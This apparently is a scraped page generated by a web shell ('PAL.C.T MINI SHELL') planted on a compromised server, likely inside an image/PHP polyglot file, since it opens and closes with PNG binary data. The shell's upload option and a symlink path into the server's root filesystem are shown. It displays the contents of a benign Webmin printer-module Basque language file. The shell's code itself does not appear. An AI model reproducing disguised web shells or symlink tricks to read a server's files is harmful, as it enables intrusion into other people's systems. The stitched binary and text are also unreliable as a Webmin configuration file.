php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/lpadmin/lang/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/lpadmin/lang/eu.auto

index_title=Inprimagailuaren Administrazioa
index_header=Eskuragarri dauden inprimagailuak
index_name=Printer
index_desc=deskribapena
index_to=Inprimatu
index_driver=Gidaria
index_enabled=Gaituta?
index_accepting=Onartzeak?
index_jobs=Enplegua
index_none=Ez dago inprimagailurik instalatuta sistema honetan.
index_list=Zerrenda ..
index_jlist=Enplegua ..
index_jcount=$1 lanpostu ..
index_add=Gehitu inprimagailu berria.
index_stop=Gelditu antolatzailea
index_stopmsg=Egin klik botoi honetan inprimatutako planifikatzaileen prozesua gelditzeko. Horrek tokiko edo urruneko erabiltzaileek zure sisteman inprimatzea eragotziko du.
index_start=Hasi Scheduler
index_startmsg=Egin klik botoi honetan inprimatzeko planifikatzaile prozesua hasteko. Horrek tokiko eta urruneko erabiltzaileek zure sisteman inprimatzeko aukera emango die.
index_restart=Berrabiarazi antolatzailea
index_restartmsg=Egin klik botoi honetan inprimatzeko antolatzaileen prozesua berrabiatzeko. Horrek uneko inprimatze konfigurazioa aplikatzera behartuko du.
index_return=inprimagailu zerrenda
index_esystem=Aukeratu softwarea aukeratu duzun inprimatze sistemarako, edo erabili <a href='$1'>moduluaren konfigurazioa</a> aldatzeko.
index_style=Inprimatzeko sistema: $1 
index_cluster=Kluster zerbitzariak
index_clusterdesc=Egin klik botoi honetan inprimagailuak sortu, eguneratu eta ezabatuko diren Webmin zerbitzari osagarriak konfiguratzeko.
index_delete=Ezabatu hautatutako inprimagailuak

style_solaris=Solaris
style_linux=Linux LPR
style_freebsd=FreeBSD LPR
style_hpux=HPUX
style_lprng=LPRng
style_unixware=UnixWare
style_cups=CUPS
style_irix=IRIX
style_aix=AIX

edit_eedit=Ezin duzu inprimagailu hau editatu
edit_eadd=Ezin duzu inprimagailurik gehitu
edit_add=Sortu inprimagailua
edit_edit=Editatu inprimagailua
edit_conf=Inprimagailuaren konfigurazioa
edit_name=izena
edit_acc=Eskaerak onartzen?
edit_why=Ez - Zergatik ez
edit_desc=deskribapena
edit_ena=Inprimaketa gaituta dago?
edit_acl=Sarbide kontrola
edit_allow=Onartu guztiei
edit_deny=Denek ukatu
edit_allowu=Baimendu zerrendatutako erabiltzaileak ..
edit_denyu=Zerrendatu erabiltzaileei ..
edit_banner=Inprimatu banner?
edit_opt=Aukerako
edit_default=Inprimagailu lehenetsia?
edit_already=Inprimagailu lehenetsia
edit_max=Inprimatze lanaren tamaina maximoa
edit_unlimited=Mugarik gabe
edit_dacc=Gidariak onartzen du
edit_dtext=Testua
edit_dpost=Postscript
edit_dother=Beste
edit_alt=Inprimagailu izenak txandakatzea
edit_dest=Inprimatu Helmuga
edit_dev=Tokiko gailua
edit_file=Tokiko fitxategia
edit_remote=Urruneko Unix zerbitzaria
edit_rqueue=Printer
edit_type=Mota
edit_smb=Urruneko Windows zerbitzaria
edit_share=Printer
edit_user=Erabiltzaileak
edit_pass=Pasahitza
edit_wgroup=lantalde
edit_hpnp=Urruneko HPNP zerbitzaria
edit_port=Port
edit_direct=TCP konexio zuzena
edit_dport=Port
edit_driver=Inprimagailu gidaria
edit_check=Egiaztatu urruneko zerbitzaria martxan dagoen ala ez?

blocks=bloke

save_err=Ezin izan da inprimagailua gorde
save_eadd=Ezin duzu inprimagailurik gehitu
save_eedit=Ezin duzu inprimagailu hau editatu
save_ename='$1' ez da baliozko inprimagailuaren izena
save_edup='$1' izeneko inprimagailua dagoeneko
save_eallow=Ez da erabiltzaileak sartzea baimentzen
save_edeny=Ez da erabiltzaileak sartu ukatzeko
save_euser=Erabiltzailea '$1' ez da existitzen
save_etype=Gutxienez mota bat aukeratu behar duzu kontrolatzaile hau onartzeko
save_emax=Inprimatzeko lanaren tamaina oso bat zenbaki oso bat izan behar du
save_efile='$1' ez da existitzen
save_erhost=Urruneko ostalariaren "$1" ez da existitzen
save_erport=Urruneko '$1' atariak ez du balio
save_erqueue='$1' ez da baliozko urruneko ilara izen bat
save_eremote=Ezin dira kontrolatzaileak erabili Unix urruneko inprimagailuekin
save_edhost=Ez dago '$1' ostalari zuzena
save_edport=Zuzeneko ataka falta edo baliogabea
save_evalid=Inprimatzeko sistemak ez zuen inprimagailu hau onartzen
save_errslave=Inprimagailuak OK sortu zuen sistema honetan, baina akats hauek gertatu dira kluster sistemetan : $1 
save_egone=Ez da '$1' izeneko inprimagailurik aurkitu
save_errdelslave=Inprimagailuak OK ezabatu zuen sistema honetan, baina akats hauek gertatu dira kluster sistemetan : $1 

jobs_title=Inprimatu lanak
jobs_header=Inprimatu lanak $1 ean
jobs_id=Lanpostuaren IDa
jobs_size=Tamaina
jobs_by=Aurkeztuta
jobs_when=Bidalitako At
jobs_file=Fitxategi izena
jobs_cancel=Egin klik goiko zerrendako lanaren IDan bertan behera uzteko.
jobs_cancelview=Egin klik lana zerrendatzeko goiko zerrendatik bertan behera uzteko, edo egin klik lanaren tamaina ikusteko.
jobs_none=$1 inprimagailuak ez dauka lanik zain.
jobs_all=Inprimatu lan guztiak bertan behera utzi
jobs_bytes=byte
jobs_test=Inprimatu test orria
jobs_cancelsel=Utzi hautatutako lanak
jobs_on=$1 inprimagailuan
jobs_return=inprimatutako lanen zerrenda

cancel_ecannot=Ezin duzu inprimatze lanak bertan behera utzi
cancel_err=Ezin izan da inprimatze lana bertan behera utzi
cancel_egone=Inprimatze lana $1 ez da gehiago

view_ecannot=Ezin duzu inprimatze lana ikusi
view_egone=Inprimatze lan hau ez dago jada

start_ecannot=Ezin duzu programatzaileari hasiera ematen
start_err=Huts egin du programatzailea abiaraztean

stop_ecannot=Ezin duzu programatzailea gelditu
stop_err=Ezin izan da programatzailea gelditu

restart_ecannot=Ezin duzu programatzailea berrabiarazi
restart_err=Ezin izan da planifikatzailea berrabiarazi

webmin_none=Bat ere ez
webmin_nonemsg=Postscript edo testu inprimagailua
webmin_remotemsg=Urruneko inprimagailua
webmin_model=Model
webmin_prog=Programa
webmin_driver=Webmin kontrolatzailea
webmin_uniprint=Uniprint kontrolatzailea
webmin_edrivers=Ezin izan da $1 etik gidariak eskuratu. Ez dago eskuragarri Webmin inprimagailuaren kontrolatzailea
webmin_egs=$1 komandoa ez da aurkitu. Ez dago eskuragarri Webmin inprimagailuaren kontrolatzailea
webmin_edriver='$1' ez da existitzen

caldera_none=Bat ere ez
caldera_nonemsg=Urruneko edo inprimagailu gordina
caldera_prog=Programa
caldera_coas=COAS gidaria
caldera_printer=Inprimagailua eta bereizmena
caldera_eof=EOF bidali?
caldera_paper=Paper tamaina
caldera_double=Inprimatu albo bikoitza?
caldera_gsopts=GS aukera gehigarriak
caldera_uniprint=Uniprint kontrolatzailea
caldera_eprog='$1' ez da existitzen
caldera_edriver=Ez da inprimagailu driverrik hautatu
caldera_eres=Ez da bereizmenik aukeratu

redhat_none=Bat ere ez
redhat_nonemsg=Postscript edo testu inprimagailua
redhat_prog=Programa
redhat_driver=Redhat gidaria
redhat_printer=Inprimagailua eta bereizmena
redhat_eof=EOF bidali?
redhat_paper=Paper tamaina
redhat_pages=Irteera bakoitzeko orriak
redhat_gsopts=GS aukera gehigarriak
redhat_hmargin=Eskuineko/ezkerreko marjina
redhat_vmargin=Goiko/beheko marjina
redhat_crlf=Eskailera urratseko testua konpondu?
redhat_eprog='$1' ez da existitzen
redhat_edriver=Ez da inprimagailu driverrik hautatu
redhat_ehmargin=Eskuineko/ezkerreko marjina falta edo baliogabea
redhat_evmargin=Top/beheko marjina falta edo baliogabea
redhat_eres=Ez da bereizmenik aukeratu
redhat_printer2=Inprimagailuaren modeloa eta gidaria

suse_none=Bat ere ez
suse_nonemsg=Postscript edo testu inprimagailua
suse_prog=Programa
suse_driver=APSfilter kontrolatzailea
suse_printer=Inprimagailu mota
suse_res=Ebazpena DPIn
suse_colour=Kolore inprimagailua?
suse_paper=Paper tamaina
suse_method=Iragazteko metodoa
suse_auto=automatikoa
suse_ascii=ASCII
suse_raw=Raw
suse_extra=Ghiroskripten aukera gehigarriak
suse_yast2=YAST2 gidaria
suse_edriver=Ez da inprimagailu mota bat aukeratu
suse_eres=Ebazpen falta edo baliogabea

estop=Ezin izan da lpd gelditu : $1 

acl_printers=Erabiltzaile honek konfigura dezake inprimagailuak
acl_add=Inprimagailu berriak gehitu daitezke?
acl_cancel=Inprimatu lanak bertan behera utzi al ditzake?
acl_stop=Planifikatzaileari utzi edo hasi?
acl_restart=Berrabiarazi bakarrik
acl_listed=Hautatutako inprimagailuetan bakarrik ..
acl_pall=Inprimagailu guztiak
acl_psel=Hautatutako ..
acl_view=Erakutsi ez diren inprimagailuak?
acl_test=Proba orriak inprimatu al daitezke?
acl_user=Kudeatu jabearen lan inprimatuak
acl_user_all=Erabiltzaile guztiak
acl_user_this=Uneko Webmin erabiltzailea
acl_delete=Inprimagailuak ezaba ditzakezu?
acl_cluster=Inprimagailu klusterra kudeatu al dezakezu?

log_stop=Inprimatutako programatzailea gelditu da
log_start=Inprimatze programatzailea hasi da
log_restart=Inprimatutako programatzailea berrabiarazi da
log_cancel_job=$2 ko inprimatze lana bertan behera utzi du $1 ean
log_cancel_all=$1 ean inprimatutako lan guztiak bertan behera utzi dira
log_cancel_sel=$2 inprimatutako lanak $1 bertan behera utzi dira
log_create=$1 inprimagailua sortu da $2 an
log_modify=$1 inprimagailu aldatua $2 an
log_delete=$1 inprimagailua ezabatu da $2 an
log_create_l=$3 inprimagailua sortu du $2 an $2 an
log_modify_l=$3 inprimagailu $1 aldatu da $2 an
log_delete_l=$3 inprimagailua $1 ezabatu da $2 an

linux_paralel=$1 ataka paraleloan
linux_serial=$1 ataka seriea (COM $1)
linux_null=Gailu nulua
linux_usb=USB inprimagailua $1 
linux_ecmd=$1 komandoa ez da zure sisteman aurkitu, eta horrek adierazten du Linux inprimatzeko sistema ez dagoela instalatuta.
linux_espool=$1 direktorio karpeta ez da zure sisteman existitzen, eta horrek adierazten du Linux inprimatzeko sistema ez dagoela instalatuta.

freebsd_paralel=Paralelo portua
freebsd_serial=$1 ataka seriea (COM $1)
freebsd_ecmd=$1 komandoa ez da zure sisteman aurkitu, eta horrek adierazten du FreeBSD inprimatzeko sistema ez dagoela instalatuta.
freebsd_espool=$1 direktorio karpeta ez dago zure sisteman, eta horrek adierazten du FreeBSD inprimatzeko sistema ez dagoela instalatuta.

openbsd_paralel=Paralelo portua
openbsd_serial=$1 ataka seriea (COM $1)

unixware_paralel=$1 ataka paraleloan
unixware_serial=$1 serieko ataka
unixware_null=Gailu nulua
unixware_ecmd=$1 komandoa ez da zure sisteman aurkitu, eta horrek adierazten du UnixWare inprimatzeko sistema ez dagoela instalatuta.

hpux_paralel=$1 paraleloan
hpux_serial=$1 serioa
hpux_null=Gailu nulua
hpux_ecmd=$1 komandoa ez da zure sisteman aurkitu, eta horrek adierazten du HPUX inprimatzeko sistema ez dagoela instalatuta.
hpux_eiface=Interfazen script-ak $1 direktorioan ez dago zure sisteman, eta horrek adierazten du HPUX inprimatzeko sistema ez dagoela instalatuta.

lprng_paralel=$1 ataka paraleloan
lprng_serial=$1 ataka seriea (COM $1)
lprng_null=Gailu nulua
lprng_ecmd=$1 komandoa ez da zure sisteman aurkitu, eta horrek adierazten du LPRng inprimatzeko sistema ez dagoela instalatuta.
lprng_espool=$1 direktorio karpeta ez da zure sisteman existitzen, eta horrek LPRng inprimatzeko sistema ez dagoela instalatuta adierazten du.

solaris_paralel=Paralelo portua
solaris_uparalel=Ultra 5/10 Portu Paraleloan
solaris_serial=$1 serieko ataka
solaris_null=Gailu nulua
solaris_ecmd=$1 komandoa ez da zure sisteman aurkitu, eta horrek adierazten du Solaris inprimatzeko sistema ez dagoela instalatuta.

test_title=Inprimatu test orria
test_ecannot=Ezin duzu proba orriak inprimatu
test_desc=Inprimaki honek $1 inprimagailuarentzako proba orria inprimatzeko aukera ematen du. Aukeratu inprimatu nahi duzun orri mota :
test_0=Zuri-beltza Postscript orria
test_1=Kolore Postscript orria
test_2=ASCII testu arrunta
test_3=Kargatutako edozein fitxategi
test_print=Inprimatu orria
test_exec=Proba orria inprimatzea $1 komandoarekin.
test_failed=.. Komandoak huts egin du!
test_ok=.. agindua bukatuta.

cups_none=Bat ere ez
cups_nonemsg=Urruneko edo inprimagailu gordina
cups_prog=Programa
cups_driver=CUPS gidaria
cups_eprog='$1' ez da baliozko programa
cups_opts=Aukerak $1 
cups_ecmd=$1 komandoa ez da zure sisteman aurkitu, eta horrek adierazten du CUPS inprimatzeko sistema ez dagoela instalatuta.

irix_ecmd=$1 komandoa ez da zure sisteman aurkitu, eta horrek adierazten du IRIX inprimatzeko sistema ez dagoela instalatuta.
irix_eiface=Interfazen script-ak $1 direktorioan ez dago zure sisteman, eta horrek adierazten du IRIX inprimatze-sistema ez dagoela instalatuta.

aix_port=$1 inprimagailuaren portua
aix_edesc=Deskribapen baliogabea: letrak eta zenbakiak bakarrik onartzen dira, eta ez dago lekurik
aix_ecmd=Ez da AIX inprimagailu zerbitzaria $1 aurkitu. Agian ez dago instalatuta edo beste inprimatze sistema bat erabiltzen ari da.

cluster_title=Cluster Inprimagailu Zerbitzariak
cluster_none=Ez da zerbitzaririk gehitu inprimagailu klusterra oraindik.
cluster_host=hostname
cluster_desc=deskribapena
cluster_os=Sistema eragilea
cluster_add=Gehitu zerbitzaria
cluster_gadd=Gehitu zerbitzariak taldean
cluster_need=Saioa hasi eta pasahitza duten zerbitzariak gehitu behar dituzu Webmin Servers Index moduluan hemen kudeatu aurretik.
cluster_return=kluster zerbitzariak
cluster_delete=Kendu Hautatuta
cluster_ecannot=Ezin duzu kluster inprimagailu zerbitzariak kudeatu

add_title=Gehitu zerbitzariak
add_msg=$1 gehitzen ..
add_gmsg=Zerbitzariak gehitzen $1 taldean.
add_err=Huts egin du zerbitzaria gehitzean
add_gerr=Ezin izan da taldea gehitzean
add_echeck=$1 zerbitzariak ez du Inprimagailuaren modulua
add_ediff=$1 zerbitzaria beste inprimatze sistema bat ($2) erabiltzen ari da zerbitzari honetarako
add_ediff2=$1 zerbitzaria beste inprimagailu kontrolatzaile bat ($2) erabiltzen ari da zerbitzari honetarako
add_ok=$1 gehitu da, $2 inprimagailuekin.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`